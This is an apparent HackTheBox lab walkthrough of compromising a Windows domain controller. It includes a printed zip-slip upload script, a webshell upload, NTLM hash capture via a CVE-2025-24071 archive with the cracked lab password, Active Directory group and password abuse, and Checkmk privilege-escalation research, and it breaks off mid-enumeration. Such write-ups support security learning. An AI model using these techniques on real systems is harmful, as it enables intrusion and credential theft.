10.129.33.127
# Nmap 7.93 scan initiated Sat Nov 8 20:21:49 2025 as: nmap -sVC -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49664,49668,49671,52105,52124,59374 -oA first_scan 10.129.55.179
Nmap scan report for nanocorp.htb (10.129.55.179)
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Nanocorp
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-09 02:21:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after: 2026-04-06T23:18:43
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
52105/tcp open msrpc Microsoft Windows RPC
52124/tcp open msrpc Microsoft Windows RPC
59374/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m56s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-09T02:22:43
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 8 20:23:29 2025 -- 1 IP address (1 host up) scanned in 100.08 seconds
Looking at tcp/80 we get a redirect to http://nanocorp.htb
Looking at an anonymous SMB connection:
nxc smb "10.129.55.179" -u '' -p ''
# SMB 10.129.55.179 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False)
# SMB 10.129.55.179 445 DC01 [+] nanocorp.htb\:
It works and it's DC01, let's add all that to our /etc/hosts file.

We find a basic static website, "Hiring" goes to hire.nanocorp.htb add that to the hosts, and Contact has a contact form I tried basic blind XSS no luck.
Looking at Wappazyler it says "Apache", "php", and it does recognize that it's a Windows Server somehow.
Let's take a look at hire:

Again a form, no XSS in view, we can upload a resume in the form of a Zip file, let's see what that can do, Wappalyzer again says "apache", "php" and "windows server".
Let's try to upload zip'd webshells.
I sent the "pentestmonkey" php webshell zipped, and after some loading it says "File Uploaded and Extracted Successfully".
Let's try to fuzz a bit to locate upload directories. Starting with the main host:
ffuf -c -w `fzf-wordlists` -u "http://nanocorp.htb/FUZZ"
# ________________________________________________
#
# :: Method : GET
# :: URL : http://nanocorp.htb/FUZZ
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# ________________________________________________
#
# .htaccess [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 884ms]
# .hta [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 884ms]
# .htpasswd [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 885ms]
# aux [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 31ms]
# cgi-bin/ [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 36ms]
# com1 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 31ms]
# com2 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 31ms]
# com3 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 29ms]
# com4 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 32ms]
# con [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 33ms]
# css [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 30ms]
# img [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 33ms]
# index.html [Status: 200, Size: 16212, Words: 8804, Lines: 229, Duration: 48ms]
# js [Status: 301, Size: 333, Words: 22, Lines: 10, Duration: 41ms]
# lpt1 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 31ms]
# lpt2 [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 32ms]
# nul [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 240ms]
# phpmyadmin [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 34ms]
# prn [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 35ms]
# licenses [Status: 403, Size: 420, Words: 37, Lines: 12, Duration: 912ms]
# server-info [Status: 403, Size: 420, Words: 37, Lines: 12, Duration: 32ms]
# server-status [Status: 403, Size: 420, Words: 37, Lines: 12, Duration: 32ms]
# webalizer [Status: 403, Size: 301, Words: 22, Lines: 10, Duration: 35ms]
Oh wow, even though most are 403 this is a gold mine. Let's quickly look at hire:
ffuf -c -w `fzf-wordlists` -u "http://hire.nanocorp.htb/FUZZ"
# ________________________________________________
#
# :: Method : GET
# :: URL : http://hire.nanocorp.htb/FUZZ
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# ________________________________________________
#
# .hta [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 40ms]
# .htaccess [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 41ms]
# .htpasswd [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 42ms]
# Images [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 34ms]
# assets [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 32ms]
# aux [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 37ms]
# cgi-bin/ [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 38ms]
# com1 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 32ms]
# com2 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 32ms]
# com3 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 32ms]
# com4 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 33ms]
# con [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 34ms]
# images [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 35ms]
# index.html [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 39ms]
# licenses [Status: 403, Size: 425, Words: 37, Lines: 12, Duration: 37ms]
# lpt1 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 34ms]
# lpt2 [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 32ms]
# nul [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 39ms]
# phpmyadmin [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 33ms]
# prn [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 42ms]
# server-info [Status: 403, Size: 425, Words: 37, Lines: 12, Duration: 38ms]
# server-status [Status: 403, Size: 425, Words: 37, Lines: 12, Duration: 37ms]
# webalizer [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 31ms]
# uploads [Status: 403, Size: 306, Words: 22, Lines: 10, Duration: 261ms]
Ok interesting they share a lot, probably these are vhosts on the same apache server.
403 does keep us stuck, looking trough the sources we don't find anything useful though directory listings are enabled.
Enumerating further into directories:
ffuf -c -w `fzf-wordlists` -u "http://hire.nanocorp.htb/cgi-bin/FUZZ" -e .cgi,.bat,.ps1,.pl -fs 306
# :: Method : GET
# :: URL : http://hire.nanocorp.htb/cgi-bin/FUZZ
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
# :: Extensions : .cgi .bat .ps1 .pl
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# :: Filter : Response size: 306
# ________________________________________________
#
# cgi.cgi [Status: 500, Size: 647, Words: 67, Lines: 17, Duration: 1455ms]
ffuf -c -w `fzf-wordlists` -u "http://nanocorp.htb/cgi-bin/FUZZ" -e .cgi,.bat,.ps1,.pl -fs 301
# cgi.cgi [Status: 500, Size: 637, Words: 67, Lines: 17, Duration: 69ms]
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator at webmaster@hire.nanocorp.htb to inform them of the time this error occurred, and the actions you performed just before this error.
More information about this error may be available in the server error log.
No error message leakage, and generic ?& CGI tricks don't work.
Let's try some zipSlip, either in the root or the /cgi-bin/ directory:
from sys import argv
import io
import zipfile
filename="pentestmonkey.php"
with open(filename, "r") as f:
content = f.read()
zip_buffer = io.BytesIO()
trav = "../" * int(argv[1])
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(trav + "cgi-bin/" + filename, content)
output = zip_buffer.getvalue()
with open('output.zip', 'wb') as f:
f.write(output)
python3 zipSlip.py 4; unzip -l output.zip
# I tried all the following from 1 to 5 depth:
# ../pentestmonkey.php
# ../php-cgi/pentestmonkey.php
# ..\php-cgi\pentestmonkey.php
# ....\php-cgi\pentestmonkey.php
# ..%5cphp-cgi%5cpentestmonkey.php
None worked, I then also tried to upload something else than a zip, I got: Invalid file type. Only ZIP, 7Z, and RAR files are allowed.
I decided to re-run nmap and found new open ports…
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-11-09T04:12:31+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Not valid before: 2025-10-20T01:58:09
|_Not valid after: 2026-04-21T01:58:09
| rdp-ntlm-info:
| Target_Name: NANOCORP
| NetBIOS_Domain_Name: NANOCORP
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: nanocorp.htb
| DNS_Computer_Name: DC01.nanocorp.htb
| DNS_Tree_Name: nanocorp.htb
| Product_Version: 10.0.20348
|_ System_Time: 2025-11-09T04:12:25+00:00
6556/tcp open check_mk check_mk extension for Nagios 2.1.0p10
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m56s, deviation: 0s, median: 6h59m56s
RDP is good news for later if we find credentials, though right now let's look at Nagios, the site shows:
<<<check_mk>>>
Version: 2.1.0p10
BuildDate: Aug 19 2022
AgentOS: windows
Hostname: DC01
Architecture: 64bit
WorkingDirectory: C:\Windows\system32
ConfigFile: C:\Program Files (x86)\checkmk\service\check_mk.yml
LocalConfigFile: C:\ProgramData\checkmk\agent\check_mk.user.yml
AgentDirectory: C:\Program Files (x86)\checkmk\service
PluginsDirectory: C:\ProgramData\checkmk\agent\plugins
StateDirectory: C:\ProgramData\checkmk\agent\state
ConfigDirectory: C:\ProgramData\checkmk\agent\config
TempDirectory: C:\ProgramData\checkmk\agent\tmp
LogDirectory: C:\ProgramData\checkmk\agent\log
SpoolDirectory: C:\ProgramData\checkmk\agent\spool
LocalDirectory: C:\ProgramData\checkmk\agent\local
OnlyFrom:
<<<cmk_agent_ctl_status:sep(0)>>>
{"version":"2.1.0p10","agent_socket_operational":true,"ip_allowlist":[],"allow_legacy_pull":true,"connections":[]}
<<<wmi_cpuload:sep(124)>>>
[system_perf]
Name|ProcessorQueueLength|Timestamp_PerfTime|Frequency_PerfTime|WMIStatus
|0|84971398446|10000000|OK
[computer_system]
Name|NumberOfLogicalProcessors|NumberOfProcessors|WMIStatus
DC01|2|1|OK
<<<uptime>>>
8497
<<<df:sep(9)>>>
C:\ NTFS 22298620 17608472 4690148 79% C:\
<<<mem>>>
MemTotal: 4193312 kB
MemFree: 1762612 kB
SwapTotal: 1441792 kB
SwapFree: 1370808 kB
PageTotal: 5635104 kB
PageFree: 3133420 kB
VirtualTotal: 137438953344 kB
VirtualFree: 137434640036 kB
<<<winperf_phydisk>>>
1762662679.47 234 10000000
2 instances: 0_C: _Total
-36 0 0 rawcount
-34 50697891181 50697891181 type(20570500)
-34 134071362794606527 134071362794606527 type(40030500)
1166 50697891181 50697891181 type(550500)
-32 40640608386 40640608386 type(20570500)
-32 134071362794606527 134071362794606527 type(40030500)
1168 40640608386 40640608386 type(550500)
-30 10057282795 10057282795 type(20570500)
-30 134071362794606527 134071362794606527 type(40030500)
1170 10057282795 10057282795 type(550500)
-28 3453250925 3453250925 average_timer
-28 517492 517492 average_base
-26 1985902722 1985902722 average_timer
-26 425056 425056 average_base
-24 1467348203 1467348203 average_timer
-24 92436 92436 average_base
-22 517492 517492 counter
-20 425056 425056 counter
-18 92436 92436 counter
-16 21599812096 21599812096 bulk_count
-14 18932615168 18932615168 bulk_count
-12 2667196928 2667196928 bulk_count
-10 21599812096 21599812096 average_bulk
-10 517492 517492 average_base
-8 18932615168 18932615168 average_bulk
-8 425056 425056 average_base
-6 2667196928 2667196928 average_bulk
-6 92436 92436 average_base
1248 62782539411 62782539411 type(20570500)
1248 134071362794606527 134071362794606527 type(40030500)
1250 8404 8404 counter
<<<winperf_if>>>
1762662679.47 510 10000000
1 instances: vmxnet3_Ethernet_Adapter
-122 195039438 bulk_count
-110 1203452 bulk_count
-244 950172 bulk_count
-58 253280 bulk_count
10 10000000000 large_rawcount
-246 84971489 bulk_count
14 605066 bulk_count
16 345106 bulk_count
18 0 large_rawcount
20 0 large_rawcount
22 0 large_rawcount
-4 110067949 bulk_count
26 251031 bulk_count
28 2249 bulk_count
30 0 large_rawcount
32 0 large_rawcount
34 0 large_rawcount
1086 0 large_rawcount
1088 0 large_rawcount
1090 0 bulk_count
1092 0 bulk_count
1094 0 large_rawcount
<<<winperf_processor>>>
1762662679.47 238 10000000
3 instances: 0 1 _Total
-232 69183125000 69077500000 69130312500 100nsec_timer_inv
-96 10852343750 10415156250 10633750000 100nsec_timer
-94 4935781250 5477031250 5206406250 100nsec_timer
-90 4276951 4214225 8491176 counter
458 186093750 718437500 452265625 100nsec_timer
460 54375000 387656250 221015625 100nsec_timer
1096 982719 911995 1894714 counter
1098 0 0 0 rawcount
1508 68347409617 69069389389 68708399503 100nsec_timer
1510 68347409617 69069389389 68708399503 100nsec_timer
1512 0 0 0 100nsec_timer
1514 0 0 0 100nsec_timer
1516 1849428 1796099 3645527 bulk_count
1518 0 0 0 bulk_count
1520 0 0 0 bulk_count
<<<fileinfo:sep(124)>>>
1762662679
<<<services>>>
ADWS running/auto Active Directory Web Services
AJRouter stopped/demand AllJoyn Router Service
ALG stopped/demand Application Layer Gateway Service
AppIDSvc stopped/demand Application Identity
Appinfo stopped/demand Application Information
AppMgmt stopped/demand Application Management
<SNIP>
Great, Nagios 2.1.0p10 is old and vulnerable. I first tried this one:
searchsploit -p linux/remote/40920.py
# Exploit: Nagios < 4.2.2 - Arbitrary Code Execution
# URL: https://www.exploit-db.com/exploits/40920
# Path: /opt/tools/exploitdb/exploits/linux/remote/40920.py
# Codes: CVE-2016-9565
# Verified: True
# File Type: Python script, ASCII text executable
Though no luck, instead let's try to exploit our blind ZipSlip from before into the Nagios plugins directory.
I then tried to do zip-slip trough symlink using only simple ../../../ because Windows should resolve them 100% while the others are shots in the dark. No luck again.
I then tried NIC Paths and absolute paths:
unzip -l slip.zip
Archive: slip.zip
Length Date Time Name
--------- ---------- ----- ----
796 2025-11-09 10:25 C:/ProgramData/checkmk/agent/local/900-shell.ps1
796 2025-11-09 10:25 //?/C:/ProgramData/checkmk/agent/local/900-shell.ps1
--------- -------
1592 2 files
After this I started to think outside the box, maybe this is a hiring portal after all and there's an agent that opens our files.
Let's try some common stuff for this .lnk, .url, .scf files, all of those failed and trying to get responder to catch any request.
Though after looking online I found CVE-2025-24071, a recent vulnerability in Windows where if a victim unzips a archive containing a .library-ms file in it, they will send out a connection to any network specified in it. Leaking their NetNTLMv2 hash.
POCs exist though they are pretty bad, there's a non official metasploit payload, kind of overkill and you have to self install it. Instead I made my own CVE-2025-24071, it generates the zip:
unzip -l exploit.zip
# Archive: exploit.zip
# Length Date Time Name
# --------- ---------- ----- ----
# 366 2025-11-09 16:44 resume.library-ms
responder -I tun0
# [SMB] NTLMv2-SSP Client : 10.129.33.127
# [SMB] NTLMv2-SSP Username : NANOCORP\web_svc
# [SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:1122334455667788:CD1E86431087957D07EB2BF10B75199E:01010000000000000039828C6A51DC01CB15EBF01BF2C9120000000002000800530058005600510001001E00570049004E002D003600420038003900330041004E00440049005200580004003400570049004E002D003600420038003900330041004E0044004900520058002E0053005800560051002E004C004F00430041004C000300140053005800560051002E004C004F00430041004C000500140053005800560051002E004C004F00430041004C00070008000039828C6A51DC0106000400020000000800300030000000000000000000000000200000B080542582FC23FEA235FB0CA63A48043653846AECC7350CD8EB17C7406E3F110A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100350035000000000000000000
john --wordlist=`fzf-wordlists` --format=netntlmv2 hash.txt
# Using default input encoding: UTF-8
# Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
# Will run 8 OpenMP threads
# Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
# dksehdgh712!@# (web_svc)
# 1g 0:00:00:00 DONE (2025-11-09 11:47) 1.754g/s 3255Kp/s 3255Kc/s 3255KC/s domani08..djcuco69
# Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
# Session completed.
web_svc:dksehdgh712!@#
bloodhound.py --zip -c All -d "nanocorp.htb" -u "web_svc" -p 'dksehdgh712!@#' -dc "dc01.nanocorp.htb" -ns 10.129.33.127
# INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
# INFO: Found AD domain: nanocorp.htb
# INFO: Getting TGT for user
# INFO: Connecting to LDAP server: dc01.nanocorp.htb
# INFO: Found 1 domains
# INFO: Found 1 domains in the forest
# INFO: Found 1 computers
# INFO: Connecting to LDAP server: dc01.nanocorp.htb
# INFO: Found 6 users
# INFO: Found 53 groups
# INFO: Found 2 gpos
# INFO: Found 2 ous
# INFO: Found 19 containers
# INFO: Found 0 trusts
# INFO: Starting computer enumeration with 10 workers
# INFO: Querying computer: DC01.nanocorp.htb
# INFO: Done in 00M 07S
# INFO: Compressing output into 20251109190534_bloodhound.zip

bloodyAD --host 10.129.33.127 -d nanocorp.htb -u web_svc -p "dksehdgh712\!@#" add groupMember IT_SUPPORT web_svc
# [+] web_svc added to IT_SUPPORT
bloodyAD --host 10.129.33.127 -d nanocorp.htb -u web_svc -p "dksehdgh712\!@#" set password monitoring_svc 'New1Pass2word!'
# [+] Password changed successfully!
nxc smb 10.129.33.127 -u 'monitoring_svc' -p 'New1Pass2word!'
# SMB 10.129.33.127 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False)
# SMB 10.129.33.127 445 DC01 [-] nanocorp.htb\monitoring_svc:New1Pass2word! STATUS_ACCOUNT_RESTRICTION
getTGT.py -dc-ip dc01.nanocorp.htb 'nanocorp.htb/monitoring_svc:New1Pass2word!'
# Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
#
# [*] Saving ticket in monitoring_svc.ccache
export KRB5CCNAME=monitoring_svc.ccache
klist
# Ticket cache: FILE:monitoring_svc.ccache
# Default principal: monitoring_svc@NANOCORP.HTB
#
# Valid starting Expires Service principal
# 11/09/2025 20:31:28 11/10/2025 00:31:28 krbtgt/NANOCORP.HTB@NANOCORP.HTB
# renew until 11/10/2025 00:31:28
nxc smb 10.129.33.127 -u 'monitoring_svc' -p 'New1Pass2word!' -k --shares
# SMB 10.129.33.127 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False)
# SMB 10.129.33.127 445 DC01 [+] nanocorp.htb\monitoring_svc:New1Pass2word!
# SMB 10.129.33.127 445 DC01 [*] Enumerated shares
# SMB 10.129.33.127 445 DC01 Share Permissions Remark
# SMB 10.129.33.127 445 DC01 ----- ----------- ------
# SMB 10.129.33.127 445 DC01 ADMIN$ Remote Admin
# SMB 10.129.33.127 445 DC01 C$ Default share
# SMB 10.129.33.127 445 DC01 IPC$ READ Remote IPC
# SMB 10.129.33.127 445 DC01 NETLOGON READ Logon server share
# SMB 10.129.33.127 445 DC01 SYSVOL READ Logon server share
I looked trough SYSVOL really quickly nothing useful, let's try to use the CanPSRemote of monitoring_svc on DC01. Though there's an issue monitoring_svc is in the "PROTECTED USERS" group, which blocks us from doing basic WinRM and it's SSL.
After a painful entire day of trying to get it to work, I worked my way into understanding my issue.
First of all, we do use WinRM over SSL, with kerberos, so we need to ask for a up to date TGT.
Then we will not be using evil-winrm (ruby) because it's a bit janky with SSL, instead evil-winrm-py is better.
I kept getting stuck on this:
evil-winrm-py -i dc01.nanocorp.htb --ssl -u monitoring_svc -k --no-pass --debug
# _ _ _
# _____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
# / -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
# \___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
# |_| |__/ v1.5.0
#
# [*] Debug logging enabled.
# [*] Logging session to /workspace/evil_winrm_py.log
# [*] Connecting to 'dc01.nanocorp.htb:5986' as 'monitoring_svc'
# [-] Processing security token
# [-] SpnegoError (4294967295): Major (851968): Unspecified GSS failure. Minor code may provide more information, Minor (2529638919): Server not found in Kerberos database, Context: Processing security token
Thankfully --debug gives a lot of info on what is going on, it pops a file evil_winrm_py.log that shows:
[160782] 1762738352.168957: Getting credentials monitoring_svc@NANOCORP.HTB -> http/nanocorp.htb@NANOCORP.HTB using ccache FILE:monitoring_svc.ccache
[160782] 1762738352.168958: Retrieving monitoring_svc@NANOCORP.HTB -> krb5_ccache_conf_data/start_realm@X-CACHECONF: from FILE:monitoring_svc.ccache with result: -1765328243/Matching credential not found (filename: monitoring_svc.ccache)
[160782] 1762738352.168959: Retrieving monitoring_svc@NANOCORP.HTB -> http/nanocorp.htb@NANOCORP.HTB from FILE:monitoring_svc.ccache with result: -1765328243/Matching credential not found (filename: monitoring_svc.ccache)
[160782] 1762738352.168960: Retrieving monitoring_svc@NANOCORP.HTB -> krbtgt/NANOCORP.HTB@NANOCORP.HTB from FILE:monitoring_svc.ccache with result: 0/Success
[160782] 1762738352.168961: Starting with TGT for client realm: monitoring_svc@NANOCORP.HTB -> krbtgt/NANOCORP.HTB@NANOCORP.HTB
[160782] 1762738352.168962: Requesting tickets for http/nanocorp.htb@NANOCORP.HTB, referrals on
2025-11-10 02:32:32,305 - ERROR - evil_winrm_py.evil_winrm_py - SpnegoError error: SpnegoError (4294967295): Major (851968): Unspecified GSS failure. Minor code may provide more information, Minor (2529638919): Server not found in Kerberos database, Context: Processing security token
One interesting thing we can do here is call that SPN directly and confirm with the DC if it exists:
kvno http/nanocorp.htb
# kvno: Server not found in Kerberos database while getting credentials for http/nanocorp.htb@NANOCORP.HTB
kvno http/dc01.nanocorp.htb
# http/dc01.nanocorp.htb@NANOCORP.HTB: kvno = 4
I hate this so much, because seeing it like that makes the issue really clear:
tail -n 1 /etc/hosts
# 10.129.133.136 nanocorp.htb dc01.nanocorp.htb dc01 hire.nanocorp.htb
dc01.nanocorp.htb needs to be first :) Though I've discussed this with multiple really skilled people and they all say that this is dumb and order should not matter, I digged trough the evil-winrm-py source code, and there's a clear issue, the tool never allows your to provide a reference to the DC hostname, instead it does some voodoo magic and tried to reverse lookup the hostname from the IP, which yields the first "Canonical Name" in order in the /etc/hosts, this is clear one we send bad domains trough the --spn-hostname foo.nanocorp.htb it attempts to resolve using my ISP and completely breaks.
Though while most people I spoke with, swear by hostname.htb dc01.hostname.htb order, it's intersting to note that nxc smb ... --generate-hosts-file hosts gives us the dc01.hostname.htb hostname.htb order.
After swapping them:
evil-winrm-py -i dc01.nanocorp.htb --ssl -u monitoring_svc -k --no-pass
cd ../Desktop
dir
# -ar--- 11/9/2025 1:03 PM 34 user.txt
What an amazing Hard user, this really did feel like a pretty "easy" flag, but with idiot traps everywhere, even though it took me a full day to get here, It allowed me to learn a lot, and strengthen my understanding of Kerberos "PROTECTED USERS", SPNs, GSSAPI and more.
whoami /priv
# PRIVILEGES INFORMATION
# ----------------------
#
# Privilege Name Description State
# ============================= ============================== =======
# SeMachineAccountPrivilege Add workstations to domain Enabled
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
G- SeMachineAccountPrivilege Could lead us towards CVE-2021-42278, good writeup though there seems to be Windows Defender enabled, which prevents me from doing a lot of stuff, for example checking the latest KB patches to confirm it's vulnerable.
SeIncreaseWorkingSetPrivilege can lead to Denial of Service, but nothing useful for us right now.Get-MpComputerStatus
# Cannot connect to CIM server. Access denied
Get-Service WinDefend
Status Name DisplayName
------ ---- -----------
Running WinDefend Microsoft Defender Antivirus Service
Ah this is going to be annoying.
netstat -ano | select-string LISTENING
# TCP 127.0.0.1:28250 0.0.0.0:0 LISTENING 2908
get-process -Id 2908
# Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
# ------- ------ ----- ----- ------ -- -- -----------
# 234 15 3008 12656 2908 0 check_mk_agent
Looking at the check_mk docs

This gave me an idea, it's what I was trying yesterday with zip-slip and NIC paths. If I can write a script into C:\ProgramData\checkmk\agent\local\ it should get executed. Let's test some stuff:
'echo test' > test.ps1
Access to the path 'C:\ProgramData\checkmk\agent\plugins\test.ps1' is denied.
'echo test' > test.ps1
Access to the path 'C:\ProgramData\checkmk\agent\local\test.ps1' is denied.
I do still feel like check_mk is the way to go, it's omnipresent on the system but it's been useless so far.
I looked trough CVEDetails and found a couple interesting Privilege Escalation vulnerabilities:
Use of an insecure temporary directory in the Windows License plugin for the Checkmk Windows Agent allows Privilege Escalation. This issue affects Checkmk: all versions of 2.1.0 (EOL).
Privilege escalation in windows agent plugin in Checkmk before 2.1.0p40 allows local user to escalate privileges.
We have a link to an advisory posted by the Checkmk team: Werk #18207: Fix security vulnerability in win_license.bat plugin z They mention:
On Windows hosts to force the English output from the win_license.bat plugin, special copying logic is used. (this way, the default
slmgr.vbsscript cannot find the language files) As the script is copied to a global, unprotected location, every user has access to edit this script. This can be exploited for malicious intent. To eliminate this vulnerability, the slmgr.vbs script is copied to the protected location in %SystemDrive%\ProgramData\checkmk\agent\tmp and is deleted afterwards.Note: Only users who use the Windows License plug-in are affected by this issue.
One interesting thing, they don't mention 2.1.0 anymore in the advisory.
Looking at C:\Programdata\:
dir
# Directory: C:\Programdata
# Mode LastWriteTime Length Name
# ---- ------------- ------ ----
# d----- 4/5/2025 3:03 PM checkmk
# -a---- 4/5/2025 4:41 PM 46 cmk_agent_uninstall.txt
type cmk_agent_uninstall.txt
# Checkmk monitoring agent service - 2.1, 64-bit
tree /f
.
¦ allow-legacy-pull
¦ check_mk.user.example.yml
¦ check_mk.user.yml
¦ cmk-agent-ctl.toml
¦ controller-flag
¦
+---backup
+---bakery
¦ check_mk.bakery.yml
¦
+---bin
¦ cmk-agent-ctl.exe
¦
+---config
+---install
+---local
+---log
¦ check_mk.log
¦
+---modules
+---mrpe
+---plugins
+---spool
+---state
+---tmp
+---update
Looking into log\check_mk.log:
2025-11-10 08:42:53.996 [srv 2908] Install module python-3
2025-11-10 08:42:53.997 [srv 2908] 'C:\ProgramData\checkmk\agent\install\modules\python-3.cab' is absent, no need to uninstall
2025-11-10 08:42:53.997 [srv 2908] Installation of the module 'python-3' is not required, module file 'C:\Program Files (x86)\checkmk\service\install\python-3.cab'is absent or too short. Backup will be uninstalled
2025-11-10 08:42:53.997 [srv 2908] Module 'python-3' has no package installed, this is normal
<SNIP>
2025-11-10 08:47:53.077 [ctl:3808] [cmk_agent_ctl::modes::pull][DEBUG] Got no pull request within five minutes. Registration may have changed, thus restarting pull handling.
2025-11-10 08:47:53.108 [ctl:3808] [cmk_agent_ctl::modes::pull][INFO] Start listening for incoming pull requests
2025-11-10 08:47:53.139 [ctl:3808] [cmk_agent_ctl::modes::pull][INFO] Listening on [::]:6556 for incoming pull connections (IPv6 & IPv4 if activated)
A couple interesting things here but as we confirmed, we have no way of writing to the plugins or local directories, let's try install/:
'echo test' > test.ps1
# Access to the path 'C:\ProgramData\checkmk\agent\install\test.ps1' is denied.
dir
# Access to the path 'C:\ProgramData\checkmk\agent\install' is denied.
There's also the original email from the fulldisclosure mailing list about this vulnerability, they mention that we should see a script located at C:\ProgramData\checkmk\agent\plugins\win_license.bat, that's not the case right now.
Again, advisory + fulldisclosure email.
In order to execute some system commands Checkmk Windows agent writes cmd files to C:\Windows\Temp\ and afterwards executes them. The permissions of the files were set restrictive but existing files were not properly handled. If a cmd file already existed and was write protected the agent was not able to rewrite the file but did not handle this case and executed the file nevertheless.
dir
# Access to the path 'C:\Windows\Temp' is denied.
Get-Acl 'C:\Windows\Temp' | Format-List
